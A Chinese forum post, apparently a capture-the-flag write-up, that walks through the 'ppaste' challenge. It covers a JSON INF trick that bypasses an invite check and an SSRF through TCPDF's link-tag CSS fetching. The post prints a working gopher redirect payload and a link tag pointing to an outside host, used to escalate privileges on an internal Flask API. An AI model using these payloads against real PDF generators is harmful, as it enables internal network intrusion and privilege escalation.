用户
搜索

[web安全] ssrf via generate pdf

  • TA的每日心情
    开心
    5 天前
  • 签到天数: 93 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    6

    主题

    27

    帖子

    1360

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2021-5-21 09:26:56 05087

    ssrf via generate pdf

    一段时间没写文章了,最近抽空打了场国际赛,这次来分享一下其中一道仅有1解的web题,题目场景设置的很合理,整道题做下来收获甚多。

    题目的难点关键在于tcpdf函数包中关于link标签导致ssrf的挖掘。

    ppaste

    We've launched our first bugbounty program, Our triage team is eager to hear about your findings !

    Bounty Program

    Check assets in scope and whether you can leak a flag

    Note:
    - You need account at intigriti.com to view the scope
    - Submit flag here to get CTF points
    - Submit a report at intigriti gets you reputation points at intigriti

    Hints

    1. json inconsistencies

    在intigriti上注册后能够得到一个scope:

    ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked.
    URL : https://ppaste.2021.3k.ctf.to/
    SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste

    给出了源码先审计,首先整体架构分为两个app:

    • python,从ppaste.db中取数据,是一个接口,但其挂载在127.0.0.1的8082端口中
    • php,同样是一个接口程序,但其挂载在80端口中并且映射出外网的端口中

    那么入口点毫无疑问是这个php接口程序,首先需要注册账号,但账号的注册需要一个邀请码。

    code

    首先看到注册处:

        case 'register':
            if(@$data['d']['user'] AND @$data['d']['pass']){
                if(!@$data['d']['invite']) puts(0);
                $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
                if($checkInvite===FALSE) puts(0);
                if(uExists($data['d']['user'])) puts(0);
                $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
                if($db->lastInsertRowID()){
                    puts(1);
                }else{
                    puts(0);
                }
            }
            puts(0);
            break;

    checkinvite会调用到python接口,其调用代码位于common.php中:

    function qInternal($endpoint,$payload=null){
        $url = 'http://localhost:8082/'.$endpoint;
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
        if($payload!==null){
            curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        return(@$result?$result:'false');
    }

    用的是curl发包去请求invites路由:

    @app.route('/invites', methods=['GET', 'POST'])
    def invites():
        if request.method == 'POST':
            myJson = json.loads(request.data)
            if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):
                return json.dumps(True)
            else:
                return json.dumps(False)
        return json.dumps(open('/var/www/invites.txt').read().split('\n'))

    INF cause False

    首先是php接口中的绕过,json_encode在处理INF时会返回一个false,如下:

    <?php
    $f=3.3e99999999999999;
    var_dump($f);
    var_dump(json_encode(array("a"=>$f)));
    //float(INF)
    //bool(false)

    那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:

    return(@$result?$result:'false');

    此时得到了一个NULL:

    <?php
    var_dump(json_decode("NULL",true));
    //NULL

    ssrf

    在随意添加文章后, 文章详细页有个下载pdf,在测试html标签放入标题时,发现可以成功解析到,标题处的逻辑中有一行代码:

    $data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

    会去掉空格,尝试了一下:

    <img/src="http://vps">

    貌似不行,是不支持img标签?跟一下下载pdf的逻辑,找到download路由:

    case 'download':
            if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
                //some useless code....
                }
                if($data['d']['type']==='_pdf'){
                    require_once('../TCPDF/config/tcpdf_config.php');
                    require_once('../TCPDF/tcpdf.php');
                    $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                    $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                    $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                    $pdf->SetFont('helvetica', '', 9);
                    $pdf->AddPage();
                    $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                    $pdf->writeHTML($html, true, 0, true, 0);
                    $pdf->lastPage();
                    $pdf->Output(sha1(time()).'.pdf', 'D');
                    exit;
                }
            }
            puts(0);
            break;

    因为是跟html解析有关系,所以优先选择跟入writeHTML:

    public function writeHTML(...){
      $dom = $this->getHtmlDomArray($html);
    }

    其中调用了getHtmlDomArray,同样跟入看看:

    protected function getHtmlDomArray($html) {
            $matches = array();
            if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
                foreach ($matches[1] as $key => $link) {
                    $type = array();
                    if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                        $type = array();
                        preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
                        // get 'all' and 'print' media, other media types are discarded
                        // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                        if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                            $type = array();
                            if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                                // read CSS data file
                                $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
                                if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                                    $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                                }
                            }
                        }
                    }
                }
            }
    }

    TCPdf中解析超链接的一个标签link,它会先匹配页面中所有符合外层正则link的html:

    提取出link标签内的内容后再进入下一个正则:

    之后就是一个href,因此我们的link标签需要满足如下:

    此处的正则是逐层提取出匹配内容,因此会发现无需要空格,而提取出url后会进入到一个filegetcontents函数,这是最引人注意的地方:

    跟入:

    进入到file_exists:

    public static function file_exists($filename) {  if (preg_match('|^https?://|', $filename) == 1) {    return self::url_exists($filename);  }  if (strpos($filename, '://')) {    return false; // only support http and https wrappers for security reasons  }  return @file_exists($filename);}

    此处只允许使用http或https协议,之后就进入到了如下的if:

    if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {  curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);}

    满足open_basedir==''和没有设置safe_mode即支持重定向,而恰好这两个是php中的默认配置,至此就可以使用gopher协议打内网的flask的,不过目的是getflag,先找一下获取flag的条件。

    寻找一下flag,会发现api.php中有如下:

        case 'admin':       $tU=whoami();       if(!@$tU OR @$tU['priv']!==1) puts(0);      $ret["invites"]=json_decode(qInternal("invites"),true);     $ret["users"]  =json_decode(qInternal("users"),true);       $ret["flag"]   =$flag;      puts(1,$ret);       break;

    这一个priv在注册账号时默认是赋值为0的,全局搜索一下能够找到flask下的users路由:

    @app.route('/users', methods=['GET', 'POST'])def users():    if request.method == 'POST':        myJson = json.loads(request.data)        if(myJson['user']):           qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])          return json.dumps(True)        else:            return json.dumps(False)    return json.dumps(qDB("SELECT user,priv FROM users"))

    这里对priv做了not操作,因此,只需要传入一个存在user键的json串即可,即:

    {"user":"hhhm123"}

    在vps上放置跳转

    location: gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A

    link:

    <linktype="text/css"href="https://phptest.a756379684.repl.co">

    之后就是访问admin的api即可:

    总结

    首先是一个php的json解析错误的小trick,然后是从php的TCPDF函数包中寻找到可以进行ssrf的tag,该tag在解析超链接时使用了curl,而在采用了php默认配置的情况下其curl允许链接的重定向,将重定向指向一个gopher协议打内网flask应用的payload。

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册